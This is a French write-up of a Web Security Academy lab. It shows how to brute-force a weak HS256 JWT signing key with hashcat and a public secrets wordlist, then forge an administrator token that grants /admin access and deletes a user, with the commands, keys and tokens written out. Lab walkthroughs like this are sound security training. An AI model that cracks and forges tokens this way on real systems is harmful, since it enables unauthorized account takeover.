Bypass de l’authentification JWT avec une clé faible

JWT authentication bypass via weak signing key

Lab: JWT authentication bypass via weak signing key | Web Security AcademyWebSecAcademy

Description du laboratoire

Ce laboratoire utilise un mécanisme de session basé sur les JWT. La clé secrète utilisée pour signer et vérifier les tokens est extrêmement faible, ce qui permet de la bruteforcer facilement à l’aide d’une liste de secrets courants.

Objectif :

• Retrouver la clé secrète utilisée par le serveur.

• Forger un JWT valide avec cette clé afin d’accéder au panneau d’administration /admin.

• Supprimer l’utilisateur carlos.

Identifiants fournis : wiener:peter

JWT initial récupéré

eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4

On observe que l’algorithme utilisé est HS256, donc un algorithme symétrique reposant sur un secret partagé.

Bruteforce de la clé secrète

Nous utilisons une liste de secrets JWT courants :

wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list

https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.listraw.githubusercontent.com

Puis lancement de l’attaque par force brute avec hashcat :

hashcat -a 0 jwt jwt.secrets.list

Résultat :

• Clé secrète trouvée : secret1

Préparation de la clé pour la signature

L’extension JWT Editor attend la clé au format Base64.

Encodage de la clé :

c2VjcmV0MQ==

Création d’une clé symétrique dans JWT Editor :

{
    "kty": "oct",
    "kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
    "k": "c2VjcmV0MQ=="
}

Un identifiant de clé (kid) est alors généré et utilisé pour signer le token.

Modification du JWT

• Interception de la requête contenant le JWT.

• Modification du champ sub :

  • wiener → administrator

Re-signature du token avec la clé secrète trouvée

JWT final forgé :

eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ

Résultat

• Le serveur accepte le JWT signé avec la clé faible.

• Accès réussi au panneau /admin.

• L’utilisateur est reconnu comme administrateur.

• Le laboratoire est validé après suppression de l’utilisateur carlos.